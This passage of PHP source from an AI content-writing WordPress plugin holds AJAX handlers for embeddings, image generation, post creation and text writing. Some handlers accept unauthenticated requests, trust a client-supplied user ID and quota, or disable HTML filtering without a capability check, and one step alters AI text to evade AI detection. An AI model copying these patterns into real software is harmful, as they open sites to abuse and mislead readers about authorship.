if (isset($aiomatic_Main_Settings['aiomatic_enabled']) && $aiomatic_Main_Settings['aiomatic_enabled'] == 'on') { $query = array( ); if (isset($_POST['author_id']) && $_POST['author_id'] != '') { $query['author'] = $_POST['author_id']; } if (isset($_POST['author_name']) && $_POST['author_name'] != '') { $query['author_name'] = $_POST['author_name']; } if (isset($_POST['category_name']) && $_POST['category_name'] != '') { $query['category_name'] = $_POST['category_name']; } if (isset($_POST['tag_name']) && $_POST['tag_name'] != '') { $query['tag'] = $_POST['tag_name']; } if (isset($_POST['post_id']) && $_POST['post_id'] != '') { $postids = $_POST['post_id']; $postids = explode(',', $postids); $postids = array_map('trim', $postids); $query['post__in'] = $postids; } if (isset($_POST['post_name']) && $_POST['post_name'] != '') { $query['name'] = $_POST['post_name']; } if (isset($_POST['pagename']) && $_POST['pagename'] != '') { $query['pagename'] = $_POST['pagename']; } if (isset($_POST['year']) && $_POST['year'] != '') { $query['year'] = $_POST['year']; } if (isset($_POST['month']) && $_POST['month'] != '') { $query['monthnum'] = $_POST['month']; } if (isset($_POST['day']) && $_POST['day'] != '') { $query['day'] = $_POST['day']; } if (isset($_POST['post_parent']) && $_POST['post_parent'] != '') { $query['post_parent'] = $_POST['post_parent']; } if (isset($_POST['page_id']) && $_POST['page_id'] != '') { $query['page_id'] = $_POST['page_id']; } if (isset($_POST['max_nr']) && $_POST['max_nr'] != '') { $max_nr = intval($_POST['max_nr']); } else { $max_nr = 0; } if (isset($_POST['max_posts']) && $_POST['max_posts'] != '') { if(intval($_POST['max_posts']) != -1 && $max_nr > intval($_POST['max_posts'])) { $query['posts_per_page'] = $max_nr; } else { $query['posts_per_page'] = $_POST['max_posts']; } } else { if($max_nr > 5) { $query['posts_per_page'] = $max_nr; } } if (isset($_POST['search_offset']) && $_POST['search_offset'] != '') { $query['offset'] = $_POST['search_offset']; } if (isset($_POST['search_query']) && $_POST['search_query'] != '') { $query['s'] = $_POST['search_query']; } if (isset($_POST['meta_name']) && $_POST['meta_name'] != '') { $query['meta_key'] = $_POST['meta_name']; } if (isset($_POST['meta_value']) && $_POST['meta_value'] != '') { $query['meta_value'] = $_POST['meta_value']; } if (isset($_POST['order']) && $_POST['order'] != 'default') { $query['order'] = $_POST['order']; } if (isset($_POST['orderby']) && $_POST['orderby'] != 'default') { $query['orderby'] = $_POST['orderby']; } if (isset($_POST['featured_image']) && $_POST['featured_image'] != 'any') { if($_POST['featured_image'] == 'with') { $query['meta_query'] = array( array( 'key' => '_thumbnail_id', 'compare' => 'EXISTS' ) ); } elseif($_POST['featured_image'] == 'without') { $query['meta_query'] = array( array( 'key' => '_thumbnail_id', 'value' => '?', 'compare' => 'NOT EXISTS' ) ); } } $custom_name = 'aiomatic_indexed'; if (isset($_POST['no_twice']) && $_POST['no_twice'] == 'on') { } else { if(isset($query['meta_query'])) { $query['meta_query'][] = array( 'key' => $custom_name, 'value' => '?', 'compare' => 'NOT EXISTS' ); } else { $query['meta_query'] = array( array( 'key' => $custom_name, 'value' => '?', 'compare' => 'NOT EXISTS' ) ); } } if (isset($_POST['post_status']) && $_POST['post_status'] != '') { $query['post_status'] = array_map('trim', explode(',', $_POST['post_status'])); } else { $query['post_status'] = 'any'; } if (isset($_POST['type_post']) && $_POST['type_post'] != '') { $query['post_type'] = array_map('trim', explode(',', $_POST['type_post'])); } else { $query['post_type'] = 'post'; } $processed = 0; $post_list = get_posts($query); if(count($post_list) > 0) { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['embedding_template']) && trim($aiomatic_Main_Settings['embedding_template']) != '') { if (isset($aiomatic_Main_Settings['app_id']) && trim($aiomatic_Main_Settings['app_id']) != '') { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; require_once(dirname(__FILE__) . "/res/Embeddings.php"); $embdedding = new Aiomatic_Embeddings($token); foreach ($post_list as $tpost) { if($max_nr > 0 && $processed == $max_nr) { break; } $processed++; $post_url = get_permalink($tpost->ID); $post_title = $tpost->post_title; $post_excerpt = $tpost->post_excerpt; $post_id = $tpost->ID; $post_content = $tpost->post_content; if (strstr($aiomatic_Main_Settings['embedding_template'], '%%post_content%%') !== false && isset($aiomatic_Main_Settings['rewrite_embedding']) && trim($aiomatic_Main_Settings['rewrite_embedding']) == 'on' && isset($aiomatic_Main_Settings['embedding_rw_prompt']) && trim($aiomatic_Main_Settings['embedding_rw_prompt']) != '') { $embedding_rw_prompt = trim($aiomatic_Main_Settings['embedding_rw_prompt']); $embedding_rw_prompt = str_replace('%%post_url%%', $post_url, $embedding_rw_prompt); $embedding_rw_prompt = str_replace('%%post_title%%', $post_title, $embedding_rw_prompt); $embedding_rw_prompt = str_replace('%%post_excerpt%%', $post_excerpt, $embedding_rw_prompt); $embedding_rw_prompt = str_replace('%%post_content%%', strip_shortcodes($post_content), $embedding_rw_prompt); $embedding_rw_prompt = str_replace('%%post_id%%', $post_id, $embedding_rw_prompt); if($embedding_rw_prompt != '') { if(isset($aiomatic_Main_Settings['embedding_rw_model']) && trim($aiomatic_Main_Settings['embedding_rw_model']) != '') { $rw_model = trim($aiomatic_Main_Settings['embedding_rw_model']); } else { $rw_model = get_default_model_name($aiomatic_Main_Settings); } $all_models = aiomatic_get_all_models(true); if(!in_array($rw_model, $all_models)) { $rw_model = get_default_model_name($aiomatic_Main_Settings); } $query_token_count = count(aiomatic_encode($embedding_rw_prompt)); $max_tokens = aiomatic_get_max_tokens($rw_model); $available_tokens = aiomatic_compute_available_tokens($rw_model, $max_tokens, $embedding_rw_prompt, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($embedding_rw_prompt); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $embedding_rw_prompt = aiomatic_substr($embedding_rw_prompt, 0, $string_len); $embedding_rw_prompt = trim($embedding_rw_prompt); $query_token_count = count(aiomatic_encode($embedding_rw_prompt)); $available_tokens = $max_tokens - $query_token_count; } if(!empty($embedding_rw_prompt)) { $thread_id = ''; $aierror = ''; $finish_reason = ''; $generated_text = aiomatic_generate_text($token, $rw_model, $embedding_rw_prompt, $available_tokens, 1, 1, 0, 0, false, 'embeddingsOptimizer', 0, $finish_reason, $aierror, false, false, false, '', '', 'user', '', $thread_id, '', 'disabled', '', false); if($generated_text === false) { aiomatic_log_to_file('Failed to optimize post content for embeddings: ' . print_r($embedding_rw_prompt, true)); } else { $post_content = aiomatic_sanitize_ai_result($generated_text); } } } } $emb_template = trim($aiomatic_Main_Settings['embedding_template']); $emb_template = str_replace('%%post_url%%', $post_url, $emb_template); $emb_template = str_replace('%%post_title%%', $post_title, $emb_template); $emb_template = str_replace('%%post_excerpt%%', $post_excerpt, $emb_template); $emb_template = str_replace('%%post_content%%', strip_shortcodes($post_content), $emb_template); $emb_template = str_replace('%%post_id%%', $post_id, $emb_template); if($emb_template != '') { $embid = get_post_meta($post_id, $custom_name, true); if(!empty($embid)) { $my_emb = get_post($embid); } else { $my_emb = null; } if(!empty($embid) && $my_emb != null) { $my_emb->post_content = $emb_template; wp_update_post($my_emb); } else { $rez = $embdedding->aiomatic_create_single_embedding_nojson($emb_template); if($rez['status'] == 'error') { aiomatic_log_to_file('Failed to save embedding for post id: ' . $post_id . ' error: ' . print_r($rez, true)); } else { update_post_meta($tpost->ID, $custom_name, $rez['id']); } } } } } else { aiomatic_log_to_file('You need to set up an OpenAI API key in the Aiomatic plugin\' settings, for this to work!'); echo 'fail'; } } else { aiomatic_log_to_file('No embedding template set in plugin settings!'); echo 'fail'; } } } if($processed == 0) { echo 'nochange'; } else { echo 'ok'; } die(); } add_action('wp_ajax_aiomatic_run_my_bulk_action', 'aiomatic_run_my_bulk_action'); function aiomatic_run_my_bulk_action() { check_ajax_referer('openai-bulk-nonce', 'nonce'); echo aiomatic_do_bulk_post(); die(); } add_action('wp_ajax_aiomatic_run_my_bulk_action_test', 'aiomatic_run_my_bulk_action_test'); function aiomatic_run_my_bulk_action_test() { check_ajax_referer('openai-bulk-nonce', 'nonce'); echo aiomatic_do_bulk_post_test(); die(); } add_action('wp_ajax_aiomatic_preview_form', 'aiomatic_preview_form'); function aiomatic_preview_form() { check_ajax_referer('openai-ajax-nonce', 'nonce'); if(!isset($_POST['id']) || !isset($_POST['id'])) { die(); } echo do_shortcode('[aiomatic-form id="' . esc_html(trim($_POST['id'])) . '"]'); die(); } add_action('wp_ajax_aiomatic_stable_image_ajax_submit', 'aiomatic_stable_image_submit'); add_action('wp_ajax_nopriv_aiomatic_stable_image_ajax_submit', 'aiomatic_stable_image_submit'); function aiomatic_stable_image_submit() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with Stable Difussion'); if(!isset($_POST['image_size']) || !isset($_POST['instruction'])) { $aiomatic_result['msg'] = 'Incomplete POST request for stable images'; wp_send_json($aiomatic_result); } $user_token_cap_per_day = sanitize_text_field($_POST['user_token_cap_per_day']); if(!empty($user_token_cap_per_day)) { $user_token_cap_per_day = intval($user_token_cap_per_day); } $user_id = sanitize_text_field($_POST['user_id']); $image_size = $_POST['image_size']; $image_size = str_replace('??', 'x', $image_size); $instruction = stripslashes($_POST['instruction']); $sizes = array('1024x1024', '512x512'); if(!in_array($image_size, $sizes)) { $aiomatic_result['msg'] = 'Invalid Stable Diffusion image size provided: ' . $image_size; wp_send_json($aiomatic_result); } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['stability_app_id']) || trim($aiomatic_Main_Settings['stability_app_id']) == '') { $aiomatic_result['msg'] = 'You need to insert a valid Stability.AI API Key for this to work!'; wp_send_json($aiomatic_result); } $used_token_count = 0; if(is_numeric($user_token_cap_per_day)) { if(empty($user_id) || $user_id == 0 || !is_numeric($user_id)) { $aiomatic_result['msg'] = sprintf( wp_kses( __( 'You are not allowed to access this form if you are not logged in. Please log in to continue.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), wp_login_url(get_permalink()) ); wp_send_json($aiomatic_result); } $used_token_count = get_user_meta($user_id, 'aiomatic_used_stable_image_tokens', true); if($used_token_count !== '' && $used_token_count !== false && is_numeric($used_token_count)) { $used_token_count = intval($used_token_count); if($used_token_count > $user_token_cap_per_day) { $aiomatic_result['msg'] = 'The daily token count for your user account has been exceeded! Please try again tomorrow.'; wp_send_json($aiomatic_result); } } else { $used_token_count = 0; } } if($image_size == '512x512') { $width = '512'; $height = '512'; } elseif($image_size == '1024x1024') { $width = '1024'; $height = '1024'; } else { $width = '512'; $height = '512'; } $ierror = ''; $temp_get_imgs = aiomatic_generate_stability_image($instruction, $height, $width, 'shortcodeChatStableImage', 0, true, $ierror, false, false); if($temp_get_imgs !== false) { if(is_numeric($user_token_cap_per_day)) { $used_token_count = intval($used_token_count) + 1000; update_user_meta($user_id, 'aiomatic_used_stable_image_tokens', $used_token_count); } $aiomatic_result['data'] = $temp_get_imgs; $aiomatic_result['status'] = 'success'; do_action('aiomatic_stable_image_reply', $temp_get_imgs); wp_send_json($aiomatic_result); } $aiomatic_result['msg'] = 'Error occurred when calling image API: ' . $ierror; wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_midjourney_image_ajax_submit', 'aiomatic_midjourney_image_submit'); add_action('wp_ajax_nopriv_aiomatic_midjourney_image_ajax_submit', 'aiomatic_midjourney_image_submit'); function aiomatic_midjourney_image_submit() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with Midjourney'); if(!isset($_POST['image_size']) || !isset($_POST['instruction'])) { $aiomatic_result['msg'] = 'Incomplete POST request for midjourney images'; wp_send_json($aiomatic_result); } $user_token_cap_per_day = sanitize_text_field($_POST['user_token_cap_per_day']); if(!empty($user_token_cap_per_day)) { $user_token_cap_per_day = intval($user_token_cap_per_day); } $user_id = sanitize_text_field($_POST['user_id']); $image_size = $_POST['image_size']; $image_size = str_replace('??', 'x', $image_size); $instruction = stripslashes($_POST['instruction']); $sizes = array('1024x1024', '512x512', '1024x1792', '1792x1024'); if(!in_array($image_size, $sizes)) { $aiomatic_result['msg'] = 'Invalid Midjourney image size provided: ' . $image_size; wp_send_json($aiomatic_result); } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['midjourney_app_id']) || trim($aiomatic_Main_Settings['midjourney_app_id']) == '') { $aiomatic_result['msg'] = 'You need to insert a valid GoAPI (Midjourney) API Key for this to work!'; wp_send_json($aiomatic_result); } $used_token_count = 0; if(is_numeric($user_token_cap_per_day)) { if(empty($user_id) || $user_id == 0 || !is_numeric($user_id)) { $aiomatic_result['msg'] = sprintf( wp_kses( __( 'You are not allowed to access this form if you are not logged in. Please log in to continue.', 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), wp_login_url(get_permalink()) ); wp_send_json($aiomatic_result); } $used_token_count = get_user_meta($user_id, 'aiomatic_used_midjourney_image_tokens', true); if($used_token_count !== '' && $used_token_count !== false && is_numeric($used_token_count)) { $used_token_count = intval($used_token_count); if($used_token_count > $user_token_cap_per_day) { $aiomatic_result['msg'] = 'The daily token count for your user account has been exceeded! Please try again tomorrow.'; wp_send_json($aiomatic_result); } } else { $used_token_count = 0; } } if($image_size == '512x512') { $width = '512'; $height = '512'; } elseif($image_size == '1024x1024') { $width = '1024'; $height = '1024'; } else { $width = '512'; $height = '512'; } $ierror = ''; $temp_get_imgs = aiomatic_generate_ai_image_midjourney($instruction, $width, $height, 'shortcodeChatMidjourneyImage', true, $ierror); if($temp_get_imgs !== false) { if(is_numeric($user_token_cap_per_day)) { $used_token_count = intval($used_token_count) + 1000; update_user_meta($user_id, 'aiomatic_used_midjourney_image_tokens', $used_token_count); } $aiomatic_result['data'] = $temp_get_imgs; $aiomatic_result['status'] = 'success'; do_action('aiomatic_midjourney_image_reply', $temp_get_imgs); wp_send_json($aiomatic_result); } $aiomatic_result['msg'] = 'Error occurred when calling image API: ' . $ierror; wp_send_json($aiomatic_result); die(); } add_action( 'wp_ajax_aiomatic_get_image', 'aiomatic_get_image' ); add_action( 'wp_ajax_nopriv_aiomatic_get_image', 'aiomatic_get_image' ); function aiomatic_get_image() { check_ajax_referer( 'openai-single-nonce', 'nonce' ); if(isset($_GET['id']) ){ if(empty($_GET['id'])) { $data = array( 'image' => '', ); wp_send_json_success( $data ); } $image = wp_get_attachment_image( filter_input( INPUT_GET, 'id', FILTER_VALIDATE_INT ), 'thumbnail', false, array( 'id' => 'aiomatic-preview-image' ) ); $data = array( 'image' => $image, ); wp_send_json_success( $data ); } else { wp_send_json_error(); } die(); } add_action( 'wp_ajax_create_post', 'aiomatic_create_post' ); function aiomatic_create_post() { check_ajax_referer( 'create_post', 'nonce' ); if(isset($_POST['metaFieldsArray'])) { $metaFieldsArray = $_POST['metaFieldsArray']; } else { $metaFieldsArray = array(); } $post_title = stripslashes($_POST['title']); $post_content = stripslashes($_POST['content']); $post_excerpt = stripslashes($_POST['excerpt']); $submit_status = sanitize_text_field( stripslashes($_POST['submit_status']) ); $submit_type = isset($_POST['submit_type']) ? sanitize_text_field( stripslashes($_POST['submit_type']) ) : 'post'; $post_sticky = sanitize_text_field( $_POST['post_sticky'] ); $post_author = stripslashes($_POST['post_author']); $aiomatic_image_id = stripslashes( $_POST['aiomatic_image_id'] ); $post_date = stripslashes($_POST['post_date']); $post_tags = stripslashes( $_POST['post_tags'] ); $post_category = stripslashes(sanitize_text_field( stripslashes($_POST['post_category']) )); $post_category = json_decode($post_category, true); if ( empty( $post_title ) || empty( $post_content ) ) { wp_send_json_error( array( 'message' => 'Title and Content are required fields' ) ); } if(empty($submit_type)) { $submit_type = 'post'; } if(!in_array($submit_type, get_post_types( '', 'names' ))) { $submit_type = 'post'; } $statuses = get_post_statuses(); $statuses['trash'] = 'Trash'; if(!array_key_exists($submit_status, $statuses)) { wp_send_json_error( array( 'message' => 'Invalid post status submitted: ' . $submit_status . ' - ' .print_r($statuses, true) ) ); } $author_obj = get_user_by('id', $post_author); if($author_obj === false) { wp_send_json_error( array( 'message' => 'Invalid post author submitted' ) ); } $post_args = array( 'post_title' => $post_title, 'post_content' => $post_content, 'post_excerpt' => $post_excerpt, 'post_status' => $submit_status, 'post_type' => $submit_type, 'post_author' => $post_author, 'post_date' => $post_date ); if(!empty($post_tags)) { $post_args['tags_input'] = $post_tags; } if(!empty($metaFieldsArray)) { $post_args['meta_input'] = $metaFieldsArray; } remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); $post_id = wp_insert_post( $post_args ); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if ( is_wp_error( $post_id ) ) { wp_send_json_error( array( 'message' => $post_id->get_error_message() ) ); } elseif ( $post_id === 0 ) { wp_send_json_error( array( 'message' => 'Failed to insert post: ' . $post_title ) ); } if ($post_sticky == 'on') { stick_post($post_id); } if(is_array($post_category)) { $default_category = get_option('default_category'); wp_set_post_categories($post_id, $post_category, true); if(is_numeric($default_category)) { if(!in_array($default_category, $post_category)) { $deftrerm = get_term_by('id', $default_category, 'category'); if($deftrerm !== false) { wp_remove_object_terms( $post_id, $deftrerm->slug, 'category' ); } } } } if($aiomatic_image_id != '' && is_numeric($aiomatic_image_id)) { $aiomatic_image_id = intval($aiomatic_image_id); require_once(ABSPATH . 'wp-admin/includes/image.php'); require_once(ABSPATH . 'wp-admin/includes/media.php'); set_post_thumbnail($post_id, $aiomatic_image_id); } wp_send_json_success( array( 'post_id' => $post_id ) ); die(); } add_action( 'wp_ajax_aiomatic_write_text', 'aiomatic_write_text' ); add_action( 'wp_ajax_nopriv_aiomatic_write_text', 'aiomatic_write_text' ); function aiomatic_write_text() { check_ajax_referer( 'openai-single-nonce', 'nonce' ); require_once(dirname(__FILE__) . "/res/aiomatic-chars.php"); if(!isset($_POST['prompt'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (prompt)' ) ); } $prompt = stripslashes( $_POST['prompt'] ); if(!isset($_POST['model'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (model)' ) ); } $model = stripslashes( $_POST['model'] ); if(!isset($_POST['assistant_id'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (assistant_id)' ) ); } $assistant_id = stripslashes( $_POST['assistant_id'] ); if(!isset($_POST['max_tokens'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (max_tokens)' ) ); } $max_tokens = stripslashes( $_POST['max_tokens'] ); if(!isset($_POST['temperature'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (temperature)' ) ); } $temperature = stripslashes( $_POST['temperature'] ); if(!isset($_POST['title'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (title)' ) ); } $title = stripslashes( $_POST['title'] ); if(!isset($_POST['language'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (language)' ) ); } $language = stripslashes( $_POST['language'] ); if(!isset($_POST['writing_style'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (writing_style)' ) ); } $writing_style = stripslashes( $_POST['writing_style'] ); if(!isset($_POST['writing_tone'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (writing_tone)' ) ); } $writing_tone = stripslashes( $_POST['writing_tone'] ); if(!isset($_POST['topics'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (topics)' ) ); } $topics = stripslashes( $_POST['topics'] ); if(!isset($_POST['sections'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (sections)' ) ); } $sections = stripslashes( $_POST['sections'] ); if(!isset($_POST['sections_count'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (sections_count)' ) ); } $sections_count = stripslashes( $_POST['sections_count'] ); if(!isset($_POST['paragraph_count'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (paragraph_count)' ) ); } $paragraph_count = stripslashes( $_POST['paragraph_count'] ); if(!isset($_POST['content_gen_type'])) { wp_send_json_error( array( 'message' => 'Incorrect query sent (content_gen_type)' ) ); } if(isset($_POST['metakeyinput'])) { $metakeyinput = stripslashes( $_POST['metakeyinput'] ); } else { $metakeyinput = ''; } $content_gen_type = stripslashes( $_POST['content_gen_type'] ); $temperature = floatval($temperature); $max_tokens = intval($max_tokens); if($max_tokens > 2048) { $big_model = false; if(!aiomatic_is_trained_model($model)) { $big_model = true; } elseif(strstr($model, 'turbo') !== false && !aiomatic_is_trained_model($model)) { $big_model = true; } elseif(strstr($model, 'gpt-4') !== false && !aiomatic_is_trained_model($model)) { $big_model = true; } if($big_model == false) { $max_tokens = 2048; } } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $all_models = aiomatic_get_all_models(true); if(!in_array($model, $all_models)) { $model = get_default_model_name($aiomatic_Main_Settings); } if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { wp_send_json_error( array( 'message' => 'You need to enter an OpenAI API key in plugin settings!' ) ); } $new_post_content = ''; $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; if($content_gen_type == 'yes') { $main_prompt = $prompt; if($sections != '') { $post_sections_arr = preg_split('/\r\n|\r|\n/', $sections); } else { $post_sections_arr = array(); } foreach($post_sections_arr as $current_section) { $prompt = str_replace('%%title%%', $title, $main_prompt); $prompt = str_replace('%%current_section%%', $current_section, $main_prompt); $prompt = str_replace('%%language%%', $language, $prompt); $prompt = str_replace('%%writing_style%%', $writing_style, $prompt); $prompt = str_replace('%%writing_tone%%', $writing_tone, $prompt); $prompt = str_replace('%%topic%%', $topics, $prompt); $prompt = str_replace('%%sections%%', $sections, $prompt); $prompt = str_replace('%%sections_count%%', $sections_count, $prompt); $prompt = str_replace('%%paragraphs_per_section%%', $paragraph_count, $prompt); $prompt = str_replace('%%meta_title%%', $metakeyinput, $prompt); $query_token_count = count(aiomatic_encode($prompt)); $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $prompt, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($prompt); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $aicontent = aiomatic_substr($prompt, 0, $string_len); $aicontent = trim($aicontent); if(empty($aicontent)) { wp_send_json_error( array( 'message' => 'Incorrect prompt provided!' ) ); } $query_token_count = count(aiomatic_encode($aicontent)); $available_tokens = $max_tokens - $query_token_count; } $thread_id = ''; $aierror = ''; $finish_reason = ''; $generated_text = aiomatic_generate_text($token, $model, $prompt, $available_tokens, $temperature, 1, 0, 0, false, 'singlePostWriter', 0, $finish_reason, $aierror, false, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', false); if($generated_text === false) { wp_send_json_error( array( 'message' => 'Failed to generate AI content: ' . $aierror) ); } else { $new_post_content .= '

            ' . $current_section . '

            '; $new_post_content .= aiomatic_sanitize_ai_result($generated_text) . ' '; } } } else { $prompt = str_replace('%%title%%', $title, $prompt); $prompt = str_replace('%%language%%', $language, $prompt); $prompt = str_replace('%%writing_style%%', $writing_style, $prompt); $prompt = str_replace('%%writing_tone%%', $writing_tone, $prompt); $prompt = str_replace('%%topic%%', $topics, $prompt); $prompt = str_replace('%%sections%%', $sections, $prompt); $prompt = str_replace('%%sections_count%%', $sections_count, $prompt); $prompt = str_replace('%%paragraphs_per_section%%', $paragraph_count, $prompt); $prompt = str_replace('%%meta_title%%', $metakeyinput, $prompt); $query_token_count = count(aiomatic_encode($prompt)); $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $prompt, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($prompt); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $aicontent = aiomatic_substr($prompt, 0, $string_len); $aicontent = trim($aicontent); if(empty($aicontent)) { wp_send_json_error( array( 'message' => 'Incorrect prompt provided!' ) ); } $query_token_count = count(aiomatic_encode($aicontent)); $available_tokens = $max_tokens - $query_token_count; } $thread_id = ''; $aierror = ''; $finish_reason = ''; $generated_text = aiomatic_generate_text($token, $model, $prompt, $available_tokens, $temperature, 1, 0, 0, false, 'singlePostWriter', 0, $finish_reason, $aierror, false, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', false); if($generated_text === false) { wp_send_json_error( array( 'message' => 'Failed to generate AI content: ' . $aierror) ); } else { $new_post_content = aiomatic_sanitize_ai_result($generated_text); } } if (!isset($aiomatic_Main_Settings['no_undetectibility']) || $aiomatic_Main_Settings['no_undetectibility'] != 'on') { $new_post_content = aiomatic_remove_parasite_phrases($new_post_content); if(!isset($xchars)) { $xchars = array(); } $rand_percentage = rand(10, 20); $new_post_content = aiomatic_make_unique($new_post_content, $xchars, $rand_percentage); } do_action('aiomatic_text_writer_reply', $new_post_content); wp_send_json_success( array( 'content' => $new_post_content ) ); die(); } add_action( 'wp_ajax_aiomatic_delete_template', 'aiomatic_delete_template' ); function aiomatic_delete_template() { check_ajax_referer( 'openai-single-nonce', 'nonce' ); if(!isset($_POST['template_name'])) { wp_send_json_error( array( 'message' => 'Template name is required!' ) ); } $template_name = sanitize_text_field( stripslashes($_POST['template_name']) ); if(empty($template_name)) { wp_send_json_error( array( 'message' => 'You need to enter a valid template name!' ) ); } $user_id = get_current_user_id(); if($user_id == 0) { wp_send_json_error( array( 'message' => 'No user logged in, cannot find templates!' ) ); } else { $key = 'aiomatic_templates'; $single = true; $aiomatic_templates = get_user_meta( $user_id, $key, $single ); if(!is_array($aiomatic_templates)) { $aiomatic_templates = array(); } if(!isset($aiomatic_templates[$template_name])) { wp_send_json_error( array( 'message' => 'Template name not found in database, please refresh this page to update template listing' ) ); } else { unset($aiomatic_templates[$template_name]); update_user_meta( $user_id, $key, $aiomatic_templates ); } } wp_send_json_success( array( 'content' => 'saved' ) ); die(); } add_action( 'wp_ajax_aiomatic_delete_template_advanced', 'aiomatic_delete_template_advanced' ); function aiomatic_delete_template_advanced() { check_ajax_referer( 'openai-single-nonce', 'nonce' ); if(!isset($_POST['template_name'])) { wp_send_json_error( array( 'message' => 'Template name is required!' ) ); } $template_name = sanitize_text_field( stripslashes($_POST['template_name']) ); if(empty($template_name)) { wp_send_json_error( array( 'message' => 'You need to enter a valid template name!' ) ); } $user_id = get_current_user_id(); if($user_id == 0) { wp_send_json_error( array( 'message' => 'No user logged in, cannot find templates!' ) ); } else { $key = 'aiomatic_templates_advanced'; $single = true; $aiomatic_templates = get_user_meta( $user_id, $key, $single ); if(!is_array($aiomatic_templates)) { $aiomatic_templates = array(); } if(!isset($aiomatic_templates[$template_name])) { wp_send_json_error( array( 'message' => 'Template name not found in database, please refresh this page to update template listing' ) ); } else { unset($aiomatic_templates[$template_name]); update_user_meta( $user_id, $key, $aiomatic_templates ); } } wp_send_json_success( array( 'content' => 'saved' ) ); die(); } add_action( 'wp_ajax_aiomatic_save_template', 'aiomatic_save_template' ); function aiomatic_save_template() { check_ajax_referer( 'openai-single-nonce', 'nonce' ); if(!isset($_POST['template_name'])) { wp_send_json_error( array( 'message' => 'Template name is required!' ) ); } $template_name = sanitize_text_field( stripslashes($_POST['template_name']) ); if(empty($template_name)) { wp_send_json_error( array( 'message' => 'You need to enter a valid template name!' ) ); } if(!isset($_POST['template_options'])) { wp_send_json_error( array( 'message' => 'Template settings are required!' ) ); } $template_options = $_POST['template_options']; $user_id = get_current_user_id(); if($user_id == 0) { wp_send_json_error( array( 'message' => 'No user logged in, cannot find templates!' ) ); } else { $key = 'aiomatic_templates'; $single = true; $aiomatic_templates = get_user_meta( $user_id, $key, $single ); if(!is_array($aiomatic_templates)) { $aiomatic_templates = array(); } $aiomatic_templates[$template_name] = $template_options; update_user_meta( $user_id, $key, $aiomatic_templates ); } wp_send_json_success( array( 'content' => 'saved' ) ); die(); } add_action( 'wp_ajax_aiomatic_save_template_advanced', 'aiomatic_save_template_advanced' ); function aiomatic_save_template_advanced() { check_ajax_referer( 'openai-single-nonce', 'nonce' ); if(!isset($_POST['template_name'])) { wp_send_json_error( array( 'message' => 'Template name is required!' ) ); } $template_name = sanitize_text_field( stripslashes($_POST['template_name']) ); if(empty($template_name)) { wp_send_json_error( array( 'message' => 'You need to enter a valid template name!' ) ); } if(!isset($_POST['template_options'])) { wp_send_json_error( array( 'message' => 'Template settings are required!' ) ); } $template_options = $_POST['template_options']; $user_id = get_current_user_id(); if($user_id == 0) { wp_send_json_error( array( 'message' => 'No user logged in, cannot find templates!' ) ); } else { $key = 'aiomatic_templates_advanced'; $single = true; $aiomatic_templates = get_user_meta( $user_id, $key, $single ); if(!is_array($aiomatic_templates)) { $aiomatic_templates = array(); } $aiomatic_templates[$template_name] = $template_options; update_user_meta( $user_id, $key, $aiomatic_templates ); } wp_send_json_success( array( 'content' => 'saved' ) ); die(); } add_action( 'wp_ajax_aiomatic_load_template', 'aiomatic_load_template' ); function aiomatic_load_template() { check_ajax_referer( 'openai-single-nonce', 'nonce' ); if(!isset($_POST['template_name'])) { wp_send_json_error( array( 'message' => 'Template name is required!' ) ); } $template_name = sanitize_text_field( stripslashes($_POST['template_name']) ); if(empty($template_name)) { wp_send_json_error( array( 'message' => 'You need to enter a valid template name!' ) ); } $aiomatic_templates = array(); $user_id = get_current_user_id(); if($user_id == 0) { wp_send_json_error( array( 'message' => 'No user logged in, cannot find templates!' ) ); } else { 